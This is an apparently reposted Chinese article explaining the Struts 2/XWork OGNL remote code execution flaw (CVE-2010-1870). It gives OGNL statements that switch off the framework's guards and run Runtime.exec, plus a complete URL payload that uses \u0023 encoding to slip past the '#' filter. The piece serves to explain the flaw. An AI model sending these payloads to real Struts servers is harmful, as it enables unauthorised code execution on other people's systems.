Struts 2命令执行漏洞

来源:互联网 发布:欧元区经济数据 编辑:程序博客网 时间:2024/06/05 02:42

2010年7月9日,安全研究者公布了Struts 2一个远程执行代码的漏洞(CVE-2010-1870),严格来说,这其实是XWork的漏洞,因为Struts 2的核心使用的是WebWork,而WebWork又是使用XWork来处理action的。

这个漏洞的细节描述公布在exploit-db 上。

在这里简单摘述如下:

XWork通过getters/setters方法从HTTP的参数中获取对应action的名称,这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL是怎么处理的呢?如下:

  1. user.address.city=Bishkek&user['favoriteDrink']=kumys 

会被转化成:
  1. action.getUser().getAddress().setCity("Bishkek")  
  2. action.getUser().setFavoriteDrink("kumys")  

这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的,它的参数是用户可控的,由HTTP参数传入。OGNL的功能较为强大,远程执行代码也正是利用了它的功能。
  1. * Method calling: foo()  
  2. * Static method calling: @java.lang.System@exit(1)  
  3. * Constructor calling: new MyClass()  
  4. * Ability to work with context variables: #foo = new MyClass()  
  5. * And more...  

由于参数完全是用户可控的,所以XWork出于安全的目的,增加了两个方法用以阻止代码执行。
  1. * OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)  
  2. * SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)  

但这两个方法可以被覆盖,从而导致代码执行。
  1. #_memberAccess['allowStaticMethodAccess'] = true  
  2. #foo = new java .lang.Boolean("false")  
  3. #context['xwork.MethodAccessor.denyMethodExecution'] = #foo  
  4. #rt = @java.lang.Runtime@getRuntime()  
  5. #rt.exec('mkdir /tmp/PWNED')  

ParametersInterceptor是不允许参数名称中有#的,因为OGNL中的许多预定义变量也是以#表示的。
  1. * #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.  
  2. * #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.  
  3. * #root  
  4. * #this  
  5. * #_typeResolver  
  6. * #_classResolver  
  7. * #_traceEvaluations  
  8. * #_lastEvaluation  
  9. * #_keepLastEvaluation  

可是攻击者在过去找到了这样的方法(bug编号XW-641):使用\u0023来代替#,这是#的十六进制编码,从而构造出可以远程执行的攻击payload。
  1. http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den  
  2. yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti  
  3. me()))=1  

最终导致代码执行成功。
原创粉丝点击